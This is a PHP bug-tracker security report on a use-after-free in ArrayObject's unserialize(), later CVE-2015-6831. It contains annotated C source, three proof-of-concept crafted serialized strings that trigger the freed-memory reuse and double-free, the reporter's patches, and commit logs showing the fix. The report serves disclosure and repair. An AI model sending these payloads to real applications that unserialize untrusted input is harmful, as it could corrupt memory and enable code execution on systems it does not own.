php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70166 Use After Free Vulnerability in unserialize() with SPLArrayObject
Submitted: 2015-07-29 13:28 UTC Modified: 2015-09-09 10:05 UTC
From: taoguangchen at icloud dot com Assigned: stas
Status: Closed Package: *General Issues
PHP Version: 5.4.43 OS: *
Private report: No CVE-ID: 2015-6831
 [2015-07-29 13:28 UTC] taoguangchen at icloud dot com
Description:
------------
```
	if (*p!= 'x' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pflags);
	if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
		zval_ptr_dtor(&pflags);
		goto outexcept;
	}

	--p; /* for ';' */
	flags = Z_LVAL_P(pflags);
	zval_ptr_dtor(&pflags);  ===>  free memory
	
	...
	
	if (*p!='m') {
		if (*p!='a' && *p!='O' && *p!='C' && *p!='r') {
			goto outexcept;
		}
		intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK;
		intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
		zval_ptr_dtor(&intern->array);
		ALLOC_INIT_ZVAL(intern->array);
		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {  ===> use freed memory and double-free it via crafted serialized string.
			goto outexcept;
		}
	}
	
	...
	
	if (*p!= 'm' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pmembers);
	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {  ===>  control and use freed memory via R: or r:
		zval_ptr_dtor(&pmembers);
		goto outexcept;
	}
```

&pflags was be freed, but we can use that already freed memory and double-free it via crafted serialized string. ex: DateInterval::__wakeup() and other objects.

so we can control and use that doubles freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC1:
```
$inner = 'x:i:0;O:12:"DateInterval":1:{s:1:"y";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```

PoC2:
```
class test
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 'ryat';
	}
}

$inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-29 13:58 UTC] taoguangchen at icloud dot com
the patch for 5.4 series (maybe work on 5.5 and 5.6 series):

diff --git a/php-5.4.43/spl_array.c b/php-5.4.43-fixed/spl_array.c
index ec9ce21..202d8da 100644
--- a/php-5.4.43/spl_array.c
+++ b/php-5.4.43-fixed/spl_array.c
@@ -1777,6 +1777,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pflags);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pflags);
 
 	--p; /* for ';' */
 	flags = Z_LVAL_P(pflags);
 [2015-07-30 12:00 UTC] taoguangchen at icloud dot com
this bug can be easily exploited, like this:

```
$inner = 'x:i:1;a:0:{};m:a:0:{}';
$exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';

$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```
 [2015-07-30 12:10 UTC] taoguangchen at icloud dot com
update a new patch for fix another UaF (test on 5.4 series):

diff --git a/php-5.4.43/spl_array.c b/php-5.4.43-fixed/spl_array.c
index ec9ce21..78d5370 100644
--- a/php-5.4.43/spl_array.c
+++ b/php-5.4.43-fixed/spl_array.c
@@ -1777,6 +1777,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pflags);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pflags);
 
 	--p; /* for ';' */
 	flags = Z_LVAL_P(pflags);
@@ -1819,6 +1821,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pmembers);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pmembers);
 
 	/* copy members */
 	if (!intern->std.properties) {
 [2015-08-04 22:22 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-08-04 22:22 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-08-04 22:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-08-04 22:30 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-08-05 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-08-05 10:12 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-09-09 10:05 UTC] kaplan@php.net
-Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: 2015-6831
 [2015-09-09 10:05 UTC] kaplan@php.net
Shared CVE between bugs #70155, #70166, #70168 and #70169.
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Mon Apr 24 07:01:38 2017 UTC